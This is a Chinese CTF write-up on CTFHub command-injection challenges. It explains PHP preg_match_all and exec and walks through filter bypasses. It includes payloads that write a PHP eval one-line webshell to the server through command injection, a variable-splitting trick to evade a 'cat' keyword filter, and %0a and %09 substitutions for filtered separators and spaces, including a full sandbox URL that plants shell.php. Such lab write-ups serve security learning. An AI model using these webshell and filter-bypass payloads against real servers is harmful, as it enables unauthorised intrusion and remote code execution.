CTFHub 命令注入-过滤cat
第一还是看源码,首先是肯定是过滤了cat关键字,虽然看不太懂,但是才也是这样啊嘻嘻。
但是preg_match_all有三个参数,看一下,这三个参数分别是干什么的:
<?php
$userinfo = "Name: <b>PHP</b> <br> Title: <b>Programming Language</b>";
preg_match_all ("/<b>(.*)<\/b>/U", $userinfo, $pat_array);
print_r($pat_array[0]);
?>
运行结果如下所示:
Array
(
[0] => <b>PHP</b>
[1] => <b>Programming Language</b>
)
可以看到输出结果存储在第三个参数中。
同样 exec函数 exec($cmd, $res);
的执行结果也会存储在变量res中
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
然后输出res,如果没有语句执行,m变量给res赋值。res实际输出的就是m,如下图所示:
这道题有两种做法:
1、一句话木马
127.0.0.1&echo -e "<?php @eval(\$_POST['test']);?>" > 555.php
⚠️:POST函数前面有一个\
如果不写这个的话,一句话木马就不管用(别问为什么, 不知道
然后再用 蚁剑就行
2、绕过关键字的形式
假如过滤了cat关键字,我们可以采取这样的方式:
127.0.0.1;a=c;b=at;$a$b rce.php
或者127.0.0.1;a=c;b=at;${a}${b} rce_ping.php
我试了下,在这道题是不行的,但是在别的地方就是行。
shell管道符用法讲解
管道符号,符号为|
一条竖线,command 1 | command 2 他的功能是把第一个命令command 1执行的结果作为command 2的输入传给command 2。而且命令 2 只能处理命令 1 的正确输出,而不能处理错误输出。
关于管道符,我们再举几个例子:
[root@localhost ~]# netstat -an | grep "ESTABLISHED"
#查询一下本地所有网络连接,提取包含 ESTABLISHED(已建立连接)的行
#就可以知道我们的服务器上有多少已经成功连接的网络连接
[root@localhost ~]# netstat -an | grep "ESTABLISHED" | wc-l
#如果想知道具体的网络连接数量,就可以再使用wc命令统计行数
在命令注入的题目中,经常用到:
#加密
echo "123" | base64
#解密
echo "MTIz" | base64 -d
; | & 符号过滤
无法拼接语句所以 需要寻找替代这些符号的符号,通过burp实验%00到%ff,发现只有%0a可以起到作用。
所以执行两个语句,用%0a来代替上面的符号。
过滤空格
如果空格也过滤掉,我们同样可以通过burp来fuzz可以用的字符。
一般情况下%09
%0b
%0c
是有用的
ctfhub 命令注入-综合练习
http://challenge-aed07b5acde69d19.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0aecho%09"<?php$%09@eval(\$_POST['a'])?>">>shell.php
然后我采用了遮掩的payload,很神奇